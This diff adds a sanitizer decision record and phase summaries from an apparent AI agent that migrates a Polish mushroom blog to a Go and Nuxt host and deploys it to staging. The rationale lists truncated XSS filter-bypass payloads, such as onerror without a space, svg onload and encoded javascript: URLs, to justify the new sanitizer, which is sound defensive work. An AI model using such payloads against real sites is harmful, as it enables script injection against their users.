+| `RequireNoFollowOnLinks(false)` | Winter does not add `rel="nofollow"`, so stored links keep their form. |
+| `footer` element | An imported author footer (post 64). |
+| `class` on every element, matching `SpaceSeparatedTokens` | Imported footers and goldmark's `{.class}` attributes and footnote classes. |
+| `itemscope` (empty), `itemtype` (`https://schema.org/<Type>` only), `itemprop` | schema.org microdata in the imported author footer. |
+| Styles `color`, `font-size`, `font-weight`, `text-align` | Inline styles in the imported author footer, and goldmark's table cell alignment. bluemonday validates each value. |
+| `role` = `doc-noteref`, `doc-endnotes` or `doc-backlink` on `a` and `div` | goldmark's footnote markup. |
+| `dir` = `ltr`, `rtl` or `auto` | Pasted chat transcripts in category bodies use `dir="auto"`. UGC's `Direction` allows only `ltr` and `rtl`. |
+| `data-message-author-role`, `data-message-id` on `div` (`[A-Za-z0-9_-]+`) | The same pasted transcripts. This is not `AllowDataAttributes()`, which would allow every `data-*` attribute. |
+
+Everything else that UGC refuses is refused: `script`, `style`, `iframe`, `object`, `embed`, `form`, `input`, `base`, `meta`, `link`, `svg`, `math`, comments, every `on*` attribute, `target`, `rel`, `title` values outside UGC's `Paragraph` pattern, and URLs other than `http`, `https`, `mailto` and relative URLs. bluemonday checks URLs after the tokenizer has decoded entities, and it requires them to parse with `net/url`.
+
+## Strip vs refuse
+
+- **Posts strip.** `FormatHTML` stores the sanitized output and never fails because of unsafe markup. This is parity: Winter's `Post::formatHtml` runs `Html::clean` for every writer without `backend.allow_unsafe_markdown` (a CLI import has no backend user, so it is always cleaned). `Html::clean` strips `on*` and `xmlns` attributes, `javascript:`, `vbscript:` and `data:` URLs, `style` attributes, and the `script`, `style`, `iframe`, `embed`, `object`, `meta`, `base` and `link` tags. It never refuses. The Go port sanitizes for every writer. There is no permission that skips it, because superusers in PHP hold `backend.allow_unsafe_markdown` implicitly, and that loophole is exactly the escalation CR-01 describes. No post test or API contract required a 422 for unsafe content. Only the old `classes` unit test did, and it now asserts stripping. `content` itself is still stored as submitted, as in PHP.
+- **Byte-stable when nothing is stripped.** `sanitizeHTML` returns the goldmark output unchanged when that output and bluemonday's output tokenize to the same tokens: the same type, tag name, decoded text and set of decoded attributes. Otherwise it returns bluemonday's output. bluemonday re-escapes `"` as `&#34;` and `'` as `&#39;`, so storing its output every time would rewrite every imported post on its next save. Returning the original bytes is safe only on that token-level equality. Any element, attribute or comment that the policy drops makes the tokens differ, and then the sanitized output is stored.
+- **Category content refuses.** `classes.CheckHTML` keeps its exported signature and its 422 contract. D-21 stores category content exactly as submitted, and `TestCategoriesAdminContent` asserts a 422 for unsafe content. CheckHTML now uses the same policy and comparison, and refuses whenever the policy would change the HTML.
+
+- **Amended 2026-10-10 (Phase 16.2 D-10): category content strips too, and admin saves report what was stripped.** The user chose one rule for both: post and category admin writes store the sanitized output and never fail. `CheckHTML`'s 422 contract for categories and the `TestCategoriesAdminContent` 422 assertion are retired in Phase 16.2. Winter stored category content unsanitized; that was a gap, not a contract. When the policy removes anything, the admin save response names what was removed. The policy (and the layer's sanitize-html mirror) is extended only for the Blog Editor's own output, such as the `figure data-embed`/`data-id` embed placeholder.
+
+  Phase 16.2 plan 03 implements this. The Blog Editor field types decode every locale's value with `classes.SanitizeHTMLReport`, store its output (the submitted bytes when nothing is removed) and return what was removed as admin notices; an admin save of post content writes the same HTML to `content` and `content_html` without goldmark. `newHTMLPolicy` gains exactly four rules for the editor's own output, and nothing else (no iframe, no other `data-*` attribute, no `target`, `rel`, style property or URL scheme). Plan 02's `tests/blogeditor/fixtures/editor-corpus.json` pins them: `TestEditorOutputPassesPolicy` requires every corpus entry to come back from `SanitizeHTML` byte for byte with an empty report, and checks that other providers, malformed ids and other attributes are still stripped. Plan 04 adds the same four rules to the layer's sanitize-html mirror and checks the same corpus. A fifth rule is added only to both policies together.
+
+  | Change (Phase 16.2) | Why |
+  |---|---|
+  | `data-embed` matching `^youtube$` on `figure` | The editor's embed placeholder `<figure data-embed="youtube" data-id="..."></figure>`; the layer expands it, no iframe is stored. |
+  | `data-id` matching `^[A-Za-z0-9_-]{11}$` on `figure` | The YouTube video id of the same placeholder. |
+  | `alt` with any text on `img` | The editor's alt field takes free text; UGC's `Paragraph` pattern drops `:`, `?`, `"` and more. The value is escaped on output and carries no URL. |
+  | `start` matching `^[0-9]+$` on `ol` | TipTap's ordered-list input rule writes it when a list does not start at 1. |
+
+- **Translations follow the same rule (2026-10-10, audit W-1).** `classes.FormatTranslation` runs on every locale of every API and import write: a non-blank `content` re-derives `content_html` with `FormatHTML` (a supplied `content_html` is replaced, as for the host column); a `content_html` sent alone goes through `classes.SanitizeHTML`, the same policy. A translation keyed on the default locale, which `translate.SetTranslated` writes straight into the host column, is covered too. PHP stored a client-supplied translated `content_html` as-is on the API and import paths; the port follows the PHP admin widget, which always derived it.
+- **Duplicate attributes count as a change (audit W-2).** `golang.org/x/net/html` drops a repeated attribute while tokenizing, so the byte-stable comparison could not see `href="https://x" href="javascript:..."`. `htmlTokens` compares the raw attribute names of each start tag (`rawAttrNames`) with the attributes the tokenizer kept; any difference stores the sanitized output and makes `CheckHTML` refuse.
+
+## Rationale
+
+The regex blocklist could be bypassed once raw HTML passed through. These payloads came back unchanged with no error: `<img src="x"onerror=...>` (no space before the attribute), `<svg/onload=...>`, `javascript&#58;`, `javascript&colon;`, `&#106;avascript:`, `java<TAB>script:`, MathML `xlink:href`, and the inert-looking but dangerous `<base>`, `<meta http-equiv=refresh>` and `<form>`. The `data:` pattern also matched ordinary text, so "Data: 12 maja 2024" and "metadata:" were refused (WR-01). A sanitizer that tokenizes the HTML checks attributes and URL values in the same way a browser parses them, so it does not depend on any text pattern.
+
+## Alternatives considered
+
+- **A hand-built allow-list gate on `golang.org/x/net/html`.** It would add no new module, but the element and attribute allow-lists, the URL normalization (entity decoding, stripping ASCII whitespace and control characters, scheme checks) and the CSS value checks would be new security code that this project would own. bluemonday is the maintained Go implementation of exactly that, with its own test corpus. The project prefers a maintained library for protocol and security code.
+- **Anchoring the regexes to attribute values** (the WR-01 stop-gap). It fixes the false refusals but not the bypasses.
+- **Refusing posts with a 422 instead of stripping.** That is not PHP parity. It would also turn every pasted editor fragment that contains a stray `style` element or attribute into a failed save or import.
+
+## Consequences
+
+- UAT impact scan, read-only, run on 2026-10-09 over 104 posts, 2 `en` translations and 6 category bodies:
+  - **No stored post or category holds an XSS payload.**
+  - Only post 64 changes when it is next re-saved. Its 24-line `<style>` block for the author footer is removed, so the footer loses its flex layout and the round photo. The footer's `itemscope` is re-serialized as `itemscope=""`, and its inline styles lose the trailing `;`. The text, image and microdata stay.
+  - All 6 category bodies pass `CheckHTML`.
+  - The stored `content_html` does not change until a post is saved again.
+- The README Posts bullet, the `CheckHTML` row and the Dependencies line in `sm-journal-plugin/README.md` describe the sanitizer.
+- `sm-grzybyfunkcjonalne-app` includes the plugin as a submodule (`plugins/golem15/journal`), so it gets the fix when that submodule is bumped. Its workspace then needs bluemonday's `go.sum` lines.
+
+## Follow-ups
+
+- Done: the post 64 author-footer CSS moved into vue-grzybyfunkcjonalne-app `app/assets/css/base.css` (2c46185).
+- Done: `vue-journal-layer` replaced its regex gate with sanitize-html 2.18.0 mirroring this policy (5beb1c5; decision note `docs/decisions/0001-sanitize-html.md` in that repository, which explains why not DOMPurify).
+- If editors need `target="_blank"` links, `rel`, or `title` values with quotes or `&`, extend the policy deliberately. These are not allowed now because no imported content uses them.

+# Phase 16 Plan 03: Host, migration runbook and staging deploy Summary
+
+**`sm-grzybyfunkcjonalne-app` is now the deployable host.**
+
+- The admin is at `/gfadmin`.
+- An app plugin `golem15.grzyby` imports featured images under their Winter disk names and the category pillar content from JSON Lines maps produced by SQL on the PHP database.
+- One ordered runbook does the migration: migrate, an asserted pl default, a one-shot journal import, categories, media, featured images, the author and a gap report.
+- Staging deploy files cover two processes (Go on 8096, Nuxt on 3016 behind one nginx vhost).
+- A local rehearsal on a throwaway database answers all 95 local URL checks, including every one of the 71 live sitemap URLs.

+- **D-09.** `config/backend.yaml` sets `uri: /gfadmin`. The boot test asserts that some route starts with `/gfadmin/` and that none is under `/backend`. The nginx vhost answers 404 for `/backend`.
+- **Journal gitlink.** It now points at `3d533d4`, which carries the D-20 author endpoints and the D-21 category content.
+  - The nested clone had working-tree drift. I saved it as a patch and checked it against the upstream commits; all of it was already contained in `be4f33a..3d533d4`.
+  - I then discarded the drift file by file and checked out `3d533d4`.
+- **`golem15.grzyby`.** It was scaffolded with `summer make:plugin` and registered with `summer plugin:add`. `summer build` regenerated `plugins.gen.go` (`main.go` was unchanged). I stripped the plugin down to commands only:
+  - `grzyby:import-featured-images` (D-22, T-16-12): validates the disk name, applies the content-type allowlist and sniffs the bytes, keeps the source path inside `--source` and checks the size. It falls back from the base slug to the pl slug through the export, writes the blob under `attach.BlobKey` and inserts the `system_files` row. It is idempotent.
+  - `grzyby:import-categories` (D-21): prefers pl values and finds the category by pl slug, then base slug. It accepts `translations.pl` as an object, a JSON string (as MariaDB nests it) or null. Equal values count as unchanged.
+  - `grzyby:import-posts`: see deviation 1.
+- **The runbook (`scripts/migrate.sh`).** Steps run in the D-25 order.
+  - It refuses a database that already holds posts (Pitfall 3).
+  - It asserts that `pl` is the only enabled default before importing (Pitfall 1).
+  - The author step sets `golem15_bloghub_author_slug` and assigns every post without an author.
+  - The gap report flags and does not patch (D-17).
+  - `--dry-run` runs only the steps that write nothing.
+- **PHP exports.**
+  - `featured-images.sql` and `categories.sql` emit one `JSON_OBJECT` per row. I ran both against a throwaway MariaDB 12.3 with a fixture schema, and the Go command parsed the output.
+  - The README names the server checks: the post and category morphs and tables, and the `winter_`/`rainlab_`/`golem15_` translate table prefixes. It also gives the `sed` rewrites for the Blog plugin and the copy steps.
+- **Deploy.**
+  - nginx vhost with:
+    - `/gfadmin` and `/_journal/` proxied to Go (64 MiB body limit);
+    - the image regex location with nosniff, an explicit types map and 30-day expiry;
+    - a plain `/storage/` prefix answering 404;
+    - `limit_except GET HEAD` for Nuxt;
+    - `X-Forwarded-For` on every proxy.
+  - Supervisor programs `grzybyfunkcjonalne-go` and `grzybyfunkcjonalne-nuxt` (Node `--env-file`).
+  - `env.example` (adds `SUMMER_URL`) and `nuxt.env.example` (`NUXT_SITE_INDEXABLE=false`, empty GA).
+- **Build and checks.**
+  - `scripts/build.sh` builds `bin/grzybyfunkcjonalne` (linux/amd64) and `build/nuxt/.output`, and refuses generated-source drift.
+  - `scripts/check-deploy.sh` runs nginx -t in a temp prefix, checks both supervisor programs with configparser, and greps the vhost for its security locations.
+- **`scripts/urls.txt`.**
+  - It holds the **71 live sitemap URLs** fetched 2026-10-09 (`/`, `/blog`, 7 categories, 62 posts), the same set as at research time.
+  - It adds 27 more lines: pagination, static pages, 404 cases, Go paths and 3 remote nginx lines, for 98 checks in total.
+  - `scripts/smoke.sh` checks all 95 non-remote lines locally and every line with `--url`.
+
+## Task Commits
+
+All code commits are in `../sm-grzybyfunkcjonalne-app` (`master`, pushed `33bc5e0..8f7f2de` after sm-journal-plugin reached origin):
+
+0. `90f2dbd` chore: point journal gitlink at author endpoint and category content
+1. **Task 1 (tracer):**
+   - `5ccbc62` feat: mount the admin at /gfadmin
+   - `893cf42` feat: app plugin golem15.grzyby with featured-image import
+   - `a3266c3` fix: open the database for grzyby commands and add grzyby:import-posts
+   - `3f17f1c` feat: migration runbook and Go rehearsal
+2. **Task 2:**
+   - `30233d5` feat: grzyby:import-categories for category content
+   - `81ffce3` feat: runbook categories, media and author steps; PHP export queries
+   - `6ff7d5d` (summercms.go) docs: todo for Journal HTML content re-save
+3. **Task 3:**
+   - `07390b2` feat: staging deploy files and full URL rehearsal
+   - `8f7f2de` docs: host README
+
+**Tracer gate.** Interactive mode with `end-of-phase` and an automated-only `<verify>`. The verify was re-run and passed (vet, boot test, plugin vet, build, `smoke: ok (go)`, no `uri: /backend`) before expansion.
+
+**Plan metadata:** the docs commit in summercms.go (this SUMMARY, `deferred-items.md`, and my STATE/ROADMAP lines only).
+
+## Files Created/Modified
+
+See `key-files` in the frontmatter. Also:
+
+- `plugins/grzyby/go.mod`/`go.sum` (local replaces for the journal, translate and user modules).
+- The host `go.mod` and `go.work` (written by `summer plugin:add`).
+- The testdata 1×1 PNG at `plugins/grzyby/testdata/featured/uploads/665/f1e/2a3/665f1e2a3b4c5d6e7f8091.png` (69 bytes).

+## Decisions Made

+See `key-decisions` in the frontmatter.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 3 - Blocking] Plugin commands get no database in a `summer build` host**
+- **Found during:** Task 1 (first rehearsal run: `journal: database is not configured`).
+- **Issue:** The generated `main.go` publishes no `*gorm.DB` for plugin commands. Only lagoon, cabana and `serve` open one. So `journal:import-posts` cannot run from the host CLI at all.
+- **Fix:**
+  - `lookupDB` opens and publishes `database.dsn` through `lagoon.OpenFromApp` and `lagoon.Publish`, which also runs the `OnDatabase` hooks.
+  - A thin `grzyby:import-posts` runs the Journal command's own `Run`, with the same flags, after that.
+  - `migrate.sh` calls it, and its step names say `journal:import-posts`.
+  - The framework fix is in `deferred-items.md`. This is outside this plan's files and the concurrency boundary (`modules/`).
+- **Files modified:** `plugins/grzyby/console/{helpers.go,import_posts.go}`, `plugin.go`, `boot_test.go`, `scripts/migrate.sh`.
+- **Verification:** The rehearsal imports 105 posts and serves 63 published.
+- **Commit:** `a3266c3`.
+
+**2. [Rule 3 - Blocking] The journal importer rejects `"translations": []`**
+- **Found during:** Task 1 (61 of 63 published posts served).
+- **Issue:** The PHP exporter writes empty translations as `[]`. Five files failed as "Invalid JSON", including the live post `ekstrakt-z-turkey-tail`.
+- **Fix:** `migrate.sh` imports from a temp copy in which only that empty array becomes `{}`, and prints the count. The importer fix is deferred to sm-journal-plugin.
+- **Commit:** `3f17f1c`.
+
+**3. [Rule 3 - Blocking] A local `.env` overrode `backend.uri` in the boot test**
+- **Issue:** compass reads `../.env` next to `config/`. The developer's gitignored host `.env`, which I did not read, keeps the admin at `/backend`, so the new `/gfadmin` assertion failed locally even though a clean work dir mounts `/gfadmin`.
+- **Fix:** The boot test loads a temp copy of `config/`.
+- **Commit:** `893cf42`.
+
+**4. [Rule 1 - Plan data] `/sitemap.xml` content type**
+- **Issue:** `@nuxtjs/sitemap` serves `text/xml; charset=UTF-8`, not `application/xml`.
+- **Fix:** `urls.txt` expects `type=text/xml`.
+- **Commit:** `07390b2`.
+
+**5. [Rule 1 - Test design] One visitor address exhausted the Go rate limit**
+- **Issue:** With `X-Forwarded-For: 203.0.113.7` on every URL, 28 checks got 429. About 90 SSR pages make more than 120 API calls a minute for that one visitor. This also proved the XFF chain works: the bucket used was the visitor's, not Nuxt's.
+- **Fix:** Each URL uses its own `203.0.113.N`.
+- **Commit:** `07390b2`.
+
+**6. [Rule 2 - Missing critical] Image types under nosniff**
+- **Issue:** Under a bare `http {}`, as in check-deploy, nginx served the images as `text/plain` with nosniff.
+- **Fix:** The image location declares its own `types` map and an octet-stream default, and matches case-insensitively (`~*`) for files like `.PNG`.
+- **Verification:** On loopback, the images answer `200 image/png`.
+- **Commit:** `07390b2`.
+
+**7. [Rule 2 - Missing critical] Featured-image hardening beyond the plan**
+- **Fix:** `http.DetectContentType` must match the declared type, and the file size must match the map.
+- **Commit:** `893cf42`.
+
+**8. [Scope adjustment] The UAT-host gap report**
+- **Issue:** The 2 known `gf.uat.golem15.com` references are only in the base text of one export file. The pl import replaces that text, so no imported body carries them.
+- **Fix:** The report lists the export file and the imported count (0) instead of claiming 2 broken bodies.
+- **Commit:** `81ffce3`.
+
+**9. [Scope adjustment] The scaffold was trimmed**
+- **Issue:** `make:plugin` writes the full scaffold (config, lang, mail views, `registry.gen.go`, `routes.go`).
+- **Fix:** I removed it. The plugin is `plugin.go` plus `console/`, with no routes, so D-14 is unchanged. `registry.gen.go` is refreshed only by `make:*` artifact commands, not by `summer build`.
+- **Commit:** `893cf42`.
+
+---
+
+**Total deviations:** 9. Three were blocking fixes, two were missing-critical additions, two were plan-data or test-design corrections, and two were scope adjustments.
+
+**Impact on plan:** Every planned artifact, command name, flag and key link exists. The only additions are `grzyby:import-posts` and the export normalization, both workarounds for upstream gaps that are now recorded in `deferred-items.md`.
+
+## Issues Encountered
+
+- **Precondition.** `SMOKE_ADMIN_DSN` was unset and Docker was unreachable for user `golem`.
+  - I used the orchestrator's sanctioned fallback: a private PostgreSQL 18.6 cluster (`initdb`, ICU, trust auth) on 127.0.0.1:55494 in the scratchpad.
+  - `SMOKE_ADMIN_DSN` pointed at that cluster for every rehearsal.
+  - The cluster and a throwaway MariaDB were stopped and removed at the end.
+  - No temporary override touched any repo file.
+- **pnpm.** pnpm ran with `TMPDIR` set to the scratchpad and the project-drive store (`npm_config_store_dir`), as in 16-01 and 16-02.
+- **`@nuxt/fonts`.** Its metadata fetches are blocked in the sandbox. The builds succeed with warnings only.
+- **Pre-existing state.** The host's untracked `.gsd/` was left alone.
+- **Concurrent edits.** Another session has uncommitted STATE/ROADMAP edits (Phase 18.1). This plan's metadata commit stages only its own changes and leaves theirs in the working tree.
+
+## Known Stubs
+
+None.
+
+## Threat Flags
+
+None beyond the plan's threat model. T-16-10 through T-16-17 and T-16-SC are implemented as planned:
+
+- no new Go HTTP endpoint;
+- no new Go or npm module (the plugin uses gorm, gocloud.dev, the framework and sm-journal-plugin, all already in the graph);
+- templates carry empty secrets, which the negative grep confirms;
+- the smoke drops only its `grzyby_smoke_<hex>` database.
+
+## User Setup Required
+
+None for this plan. `SMOKE_ADMIN_DSN` is optional (Docker or the user's own Postgres). The server values are confirmed in 16-04.
+
+## Next Phase Readiness
+
+**16-04 (staging deploy).**
+
+- On the server:
+  1. Run the two SQL files after the checks in `scripts/php-export/README.md`.
+  2. Copy the uploads, media and export.
+  3. Follow the README runbook (migrate, `admin:create`, `migrate.sh`).
+  4. Install the deploy files.
+  5. Run `scripts/smoke.sh --url https://staging.grzybyfunkcjonalne.pl`.
+- Decide on `first-journal-post` (published in the export, absent live).
+- Swap `listen ... http2` for `http2 on;` if the server's nginx is 1.25.1 or newer.
+
+**16-05 (unit tests).** These can target:
+
+- `ReadFeaturedImageMap` and `ImportFeaturedImages` (mem:// bucket, idempotency, path escape, type allowlist and sniffing);
+- `ReadCategoryMap`, `CategoryTranslations.UnmarshalJSON` and `ImportCategories` (unchanged detection);
+- `validDiskName`, `flagOrDefault` and `flagOn`.
+
+## Self-Check: PASSED
+
+- FOUND: every `key-files.created` path in the host and the todo in summercms.go.
+- FOUND: host commits `90f2dbd 5ccbc62 893cf42 a3266c3 3f17f1c 30233d5 81ffce3 07390b2 8f7f2de` on `origin/master`, and summercms.go `6ff7d5d`.
+- Plan verification, re-run after the last commit:
+  - `check-deploy: ok`;
+  - `build: bin/grzybyfunkcjonalne and build/nuxt/.output ready`;
+  - `smoke: ok (95 urls)`;
+  - `go vet ./...` and `go test ./... -count=1` ok;
+  - the env.example negative grep passes;
+  - every one of the 71 live locs has its `200 PATH` line in `urls.txt`.

+# Phase 16 Plan 04: Staging deploy on the PHP server Summary
+
+**grzybyfunkcjonalne.pl runs on staging at https://uat.grzybyfunkcjonalne.pl: the Go Journal host and the Nuxt SSR server sit behind a basic-auth vhost on the PHP site's server, serving 62 imported posts with their featured images and media. Every one of the 98 URL checks passes on the server, and DEPLOY.md documents the deploy and the rollback.**
+
+## Performance
+
+- **Duration:** about 40 min. That includes the operator checkpoint between Task 2a/2b and the resume; the resumed part ran from 17:31Z to 17:55Z.
+- **Started:** 2026-10-09T17:14:27Z
+- **Completed:** 2026-10-09T17:55:00Z
+- **Tasks:** 3 (Task 1 resolved by the orchestrator and operator; Tasks 2 and 3 executed)
+- **Files modified:** 9 in the host repo, plus deferred-items.md
+
+## Accomplishments
+
+- The migration runbook ran once into the fresh staging database (D-25 order):
+  - 104 posts imported, 62 of them published.
+  - pl is the only default locale.
+  - 7 categories filled.
+  - The PHP media library copied (35 files).
+  - 95 featured images attached under their Winter disk names.
+  - Every post is assigned to `info@golem15.com` with the author slug `admin`.
+- nginx -t passed before the reload. Both supervisor programs are RUNNING, and the tracer post renders over HTTPS.
+- `smoke.sh --url` passes all 98 urls.txt lines. The live sitemap, re-pulled today, is unchanged (71 URLs, all covered).
+- Images:
+  - The featured image and the media files answer 200 with an image type and nosniff.
+- Admin:
+  - `/gfadmin` answers 200 (the SummerCMS admin shell).
+  - `/backend` answers 404.
+- Search and analytics:
+  - Staging loads no analytics.
+  - robots.txt is `Disallow: /`.
+- From outside, without credentials, the public address answers 401.
+- DEPLOY.md is written and README points to it. The host repo is pushed to origin/master (c797ab9).

+
+**Files touched on the server.** The executor wrote only under `/srv/grzybyfunkcjonalne`. The operator, as root, installed the vhost, its `sites-enabled` symlink and the two supervisor programs as new files, and backed up the placeholder vhost. The executor's sudo use was `nginx -t`, `systemctl reload nginx` and `supervisorctl reread/update/status`.
+
+## Runbook output (Task 2)
+
+The first run of `scripts/migrate.sh`, with the flags from DEPLOY.md including `--skip first-journal-post`:
+
+```
+migrate: migrate
+✓ migrations applied
+migrate: make pl the default locale
+migrate: export: 4 files had translations [] (imported as {})
+migrate: export: 1 files skipped (--skip first-journal-post)
+migrate: journal:import-posts --dry-run (grzyby:import-posts)
+ℹ Results: 104 created, 0 updated, 0 skipped, 0 failed
+migrate: journal:import-posts (grzyby:import-posts)
+ℹ Results: 104 created, 0 updated, 0 skipped, 0 failed
+migrate: grzyby:import-categories --map /srv/grzybyfunkcjonalne/import/categories.jsonl
+ℹ Results: 7 updated, 0 unchanged, 0 failed      (cordyceps, chaga, reishi, amanita-muscaria, turkey-tail, shiitake, lions-mane)
+migrate: rsync media -> /srv/grzybyfunkcjonalne/go/storage/app/media/

+EXIT=1
+```
+
+After the fix (6ef012e), steps 7 to 9 ran with the same commands and the same normalized export copy:
+
+```
+ℹ Results: 95 created, 0 skipped, 0 failed
+migrate: assign unassigned posts to info@golem15.com (/autor/admin)
+migrate: gap: 1 export files reference https://gf.uat.golem15.com/storage/ (broken images, not patched)

+migrate: gap: 0 imported post bodies still reference https://gf.uat.golem15.com/storage/
+migrate: gap: 0 published posts have no featured image
+migrate: published posts: 62
+migrate: ok (resumed at step 7)
+```
+
+**Gap report:**
+
+- 1 export file has old UAT-host image references, only in its base text.
+- 0 imported bodies are affected.
+- 0 published posts lack a featured image.
+
+## Smoke and checks (Task 3)
+
+- The live sitemap was re-pulled on 2026-10-09: 71 `<loc>`, all present as `200` lines in urls.txt. urls.txt is unchanged, so there is no test commit.
+- `scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl`, run on the server through the loopback bypass: `smoke: ok (98 urls)`. The first run failed one line, `remote 200 /storage/app/media/las.webp` → 403; see deviation 3.
+- Featured image `/storage/app/uploads/public/661/e48/3fa/661e483fa0e06765454515.webp`: 200, image/webp, nosniff.
+- Media referenced by the body of `ekstrakt-z-turkey-tail`, `/storage/app/media/Artur%20Wolak.png`: 200, image/png, nosniff. `las.webp`: 200, image/webp, nosniff.
+- `/gfadmin`: 200 text/html (`<title>SummerCMS</title>`). Not logged in, as instructed. `/backend`: 404.
+- Homepage: no googletagmanager. robots.txt: `User-agent: *` / `Disallow: /` (nuxt-robots, indexing disabled).
+- API `meta.total`: 62.
+- Without the bypass, the public address answers 401.
+
+**Human-check: pending.** Nobody has answered "staging approved" or reported issues yet. The visual comparison with the live site, made with the UAT credentials, is left for `/msd-verify-work` (coverage D5). The admin-password part of the original human-check no longer applies (operator note).
+
+## Task Commits
+
+All of them are in `sm-grzybyfunkcjonalne-app` and pushed to origin/master:
+
+1. **Task 1: Server prerequisites**: no commit (resolved by the orchestrator and the operator).
+2. **Task 2: deploy and runbook (tracer)**:
+   - `b488fdd` (chore): match staging deploy files to the server.
+   - `97cfd31` (feat): migrate.sh --skip for export posts absent from the live site.
+   - `6ef012e` (fix): fileblob temp files next to the upload, not in /tmp.
+3. **Task 3: smoke, images and DEPLOY.md**:
+   - `faae3c0` (fix): media copy gets readable modes, not the PHP dir's 0776.
+   - `c797ab9` (docs): staging deploy guide.
+
+**Plan metadata:** see the docs(16-04) commit in summercms.go.
+
+## Files Created/Modified
+
+- `../sm-grzybyfunkcjonalne-app/DEPLOY.md`: server facts, prerequisites, build and upload, first install, migration runbook, start, smoke (on-server recipe), release, rollback, the admin re-save warning, production cutover.
+- `../sm-grzybyfunkcjonalne-app/README.md`: points to DEPLOY.md; the `--url` example now uses the uat host.
+- `../sm-grzybyfunkcjonalne-app/config/storage.yaml`: `?no_tmp_dir=true` on the uploads bucket.
+- `../sm-grzybyfunkcjonalne-app/scripts/migrate.sh`: `--skip NAME`; media rsync with `--chmod=Dug=rwx,Do=rx,Fug=rw,Fo=r`.
+- `../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf`: uat host, certificate and webroot, `http2 on`, UAT basic auth with the loopback geo bypass, auth off on the ACME path, dotfiles 404.
+- `../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf`: absolute nvm Node path.
+- `../sm-grzybyfunkcjonalne-app/deploy/env.example` and `deploy/nuxt.env.example`: uat origin; owner is the service user, mode 0600.
+- `../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh`: follows the new host, webroot and log paths.
+- `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/deferred-items.md`: 16-03 items resolved; new 16-04 items.
+
+## Decisions Made
+
+- **Basic-auth gate kept** (operator decision with the "installed" reply). Staging is not public. The geo realm turns auth off for 127.0.0.1 and ::1 only, so smoke and curl checks run on the server. The ACME webroot location has `auth_basic off`, so renewals keep working. Production drops the gate.
+- **Host name `uat.grzybyfunkcjonalne.pl`.** It follows the server's existing UAT convention and its existing certificate.
+- **`--skip first-journal-post`.** This resolves the 16-03 deferred item for staging: Go serves the same 62 posts the live sitemap lists.
+- **No database drop after the featured-image failure.** Steps 1 to 6 had succeeded, the featured-image import is idempotent, and the failed write left no row behind (the resumed run reported 95 created, 0 skipped). Running steps 7 to 9 with the identical commands gives the same end state as a fresh full run, without root access to drop and recreate the database.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 3 - Blocking] Featured-image import failed with "invalid cross-device link"**
+- **Found during:** Task 2 (runbook, step 7).
+- **Issue:** gocloud's fileblob writes temp files to `os.TempDir()` and renames them into the bucket. `/tmp` on the server is tmpfs, so the rename fails. Admin uploads would fail the same way.
+- **Fix:** set `bucket_url: "file://./storage/app/uploads/public?no_tmp_dir=true"` in the host config, upload it, and run steps 7 to 9 with the same commands.
+- **Files modified:** `../sm-grzybyfunkcjonalne-app/config/storage.yaml`
+- **Verification:** 95 created, 0 failed; the featured images answer 200 on staging.
+- **Committed in:** 6ef012e
+- **Follow-up:** a framework default in `modules/lagoon/attach`, logged in deferred-items.md and not touched here (another session owns `modules/`).
+
+**2. [Rule 3 - Blocking] Runbook resumed at step 7 instead of drop-and-rerun**
+- **Found during:** Task 2.
+- **Issue:** The plan says a failed run means dropping and recreating the database. The executor has no root or CREATEDB rights for that.
+- **Fix:** a one-off script ran migrate.sh steps 7 to 9 verbatim (same normalized and skipped export copy, same SQL, same gap report). The script was removed from the server afterwards.
+- **Verification:** 95 featured images, 0 published posts without an image, 62 published.
+- **Committed in:** none (operational step); documented in DEPLOY.md.
+
+**3. [Rule 1 - Bug] Media images answered 403**
+- **Found during:** Task 3 (smoke: `remote 200 /storage/app/media/las.webp` got 403).
+- **Issue:** `rsync -a` kept the PHP media directory's mode 0776, which www-data cannot traverse.
+- **Fix:** the migrate.sh media step now sets modes with `--chmod=Dug=rwx,Do=rx,Fug=rw,Fo=r`. The uploaded script was used to re-sync the media on the server (idempotent; the PHP directory was only read).
+- **Files modified:** `../sm-grzybyfunkcjonalne-app/scripts/migrate.sh`
+- **Verification:** smoke `ok (98 urls)`; las.webp and Artur Wolak.png answer 200 image/* with nosniff.
+- **Committed in:** faae3c0
+
+**4. [Operator decision] Verify commands run on the server**
+- **Issue:** The plan's verify commands curl `$STAGING_URL` from the executor's machine. Because of the kept UAT gate, they answer 401 there.
+- **Fix:** run on the server with curl resolving the host to 127.0.0.1, which exercises the real vhost and TLS. The recipe is in DEPLOY.md, "Smoke".
+
+**5. [Server constraint] .env owner and mode**
+- **Issue:** The plan asks for `root:grzybyfunkcjonalne 0640`. The executor has no root.
+- **Fix:** the files belong to the single deploy and service user, mode 0600, as recorded in b488fdd and in the env templates.
+
+---
+
+**Total deviations:**
+
+- 3 auto-fixed: 2 blocking, 1 bug.
+- 2 adaptations to server constraints and operator decisions.
+
+**Impact on plan:** The fixes were needed to serve images on this server. No scope creep, and the live site was not modified.
+
+## Issues Encountered
+
+- `scripts/smoke.sh --go-only` could not run locally to pre-check the storage change: there is no Docker socket access and `SMOKE_ADMIN_DSN` is not set. The server run was the verification.
+
+## User Setup Required
+
+None beyond what the operator already did. The pending human visual check is tracked under coverage D5.
+
+## Next Phase Readiness
+
+- Staging serves the site end to end, so SC-1 is met on staging (D-18) and SC-3 is proven against every live URL. Plan 16-05 (unit tests) can proceed.
+- Before the production cutover:
+  - the human visual approval;
+  - the deferred items (`journal-imported-html-admin-resave`, the cta.png size);
+  - the steps in DEPLOY.md, "Production cutover".
+
+## Self-Check: PASSED
+
+- `../sm-grzybyfunkcjonalne-app/DEPLOY.md`: FOUND.
+- `../sm-grzybyfunkcjonalne-app/config/storage.yaml`: FOUND.

+# Phase 16 Plan 05: Unit tests and phase gate Summary
+
